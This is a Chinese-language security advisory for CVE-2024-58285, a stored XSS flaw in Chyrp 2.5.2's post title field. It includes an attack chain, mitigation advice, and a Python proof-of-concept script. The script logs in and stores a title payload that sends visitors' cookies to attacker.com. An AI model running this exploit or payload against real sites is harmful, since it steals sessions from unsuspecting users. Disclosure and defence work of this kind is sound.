IPBUF安全漏洞报告
English
CVE-2024-58285 CVSS 5.4 中危

CVE-2024-58285: Chyrp 2.5.2 存储型跨站脚本漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2024-58285
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Chyrp 2.5.2

相关标签

存储型XSSChyrpCVE-2024-58285跨站脚本Web应用安全内容管理系统会话劫持中危漏洞

漏洞概述

Chyrp 2.5.2存在一个严重的存储型跨站脚本(XSS)漏洞,该漏洞允许已认证用户在帖子标题字段中注入恶意JavaScript脚本。由于漏洞类型为存储型,恶意脚本会被永久保存在服务器端,当其他用户浏览该帖子时,注入的脚本会自动执行。这意味着攻击者可以窃取受害者的会话Cookie、劫持用户会话、进行钓鱼攻击或执行其他客户端-side攻击。该漏洞的CVSS评分为5.4,属于中等严重程度,攻击向量为网络范围,攻击复杂度低,但需要低权限认证和用户交互。攻击者利用此漏洞可以获取敏感用户信息、冒充合法用户操作、甚至可能进一步横向移动到其他系统。对于托管Chyrp博客平台的网站来说,该漏洞构成重大安全风险,建议立即采取修复措施。

技术细节

该漏洞源于Chyrp 2.5.2版本在处理用户提交的帖子标题时,未对输入内容进行充分的HTML转义或输入验证。攻击者作为已认证用户(如博主或撰稿人)可以在创建或编辑帖子时,在标题字段中嵌入恶意JavaScript代码,例如:<script>alert(document.cookie)</script>。由于应用未对特殊字符进行转义处理,该payload会被直接存储到数据库中。当其他用户访问该帖子页面时,服务器从数据库读取标题内容并嵌入到HTML响应中,浏览器将其解析为可执行脚本并执行。攻击者可以构造更复杂的payload来实现会话劫持、键盘记录或重定向用户到恶意网站。此类存储型XSS的危害性高于反射型XSS,因为恶意脚本会在所有访问该帖子的用户浏览器中自动执行,无需诱骗用户点击特定链接。修复此漏洞需要在输出时对所有用户可控的数据进行HTML实体编码,并在输入端实施严格的输入验证和白名单策略。

攻击链分析

STEP 1
步骤1
攻击者获取Chyrp平台的有效用户账号(低权限即可)
STEP 2
步骤2
攻击者登录平台后,在创建或编辑帖子时,在标题字段中注入XSS payload
STEP 3
步骤3
恶意payload被保存到数据库,未经过滤或转义处理
STEP 4
步骤4
其他用户访问该帖子时,服务器从数据库读取标题并嵌入到HTML响应中
STEP 5
步骤5
受害者浏览器解析HTML时,将<script>标签内容作为JavaScript执行
STEP 6
步骤6
恶意脚本窃取用户Cookie、会话令牌或其他敏感信息,发送到攻击者控制的服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-58285 PoC - Chyrp 2.5.2 Stored XSS via Post Title # This PoC demonstrates how an authenticated user can inject malicious # JavaScript into post titles that will be executed when viewed by others TARGET_URL = "http://target-server.com/chyrp" USERNAME = "attacker" PASSWORD = "password123" def exploit(): # Step 1: Login to get session session = requests.Session() login_url = f"{TARGET_URL}/admin/?action=login" login_data = { "identifier": USERNAME, "password": PASSWORD } print("[*] Attempting to login...") response = session.post(login_url, data=login_data) if "Logged in" not in response.text and response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Create post with XSS payload in title post_url = f"{TARGET_URL}/admin/?action=new_post" # XSS payload - steals cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' post_data = { "title": xss_payload, "body": "This is a test post", "post": "Save" } print(f"[*] Creating post with XSS payload in title...") response = session.post(post_url, data=post_data) if response.status_code == 200: print("[+] Post created successfully") print(f"[!] XSS payload stored: {xss_payload}") print("[!] Payload will execute when any user views the post") return True else: print("[-] Failed to create post") return False if __name__ == "__main__": exploit()

影响范围

Chyrp 2.5.2

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 限制低权限用户的帖子发布权限,仅允许管理员创建帖子;2) 在Web应用防火墙(WAF)中配置规则,检测并阻止标题字段中的<script>标签和事件处理器属性;3) 启用HTTPOnly和Secure标志的Cookie属性,防止JavaScript访问会话Cookie;4) 监控异常的用户活动日志,及时发现可疑的XSS攻击尝试。建议尽快评估升级到最新版本的可行性,彻底消除该漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表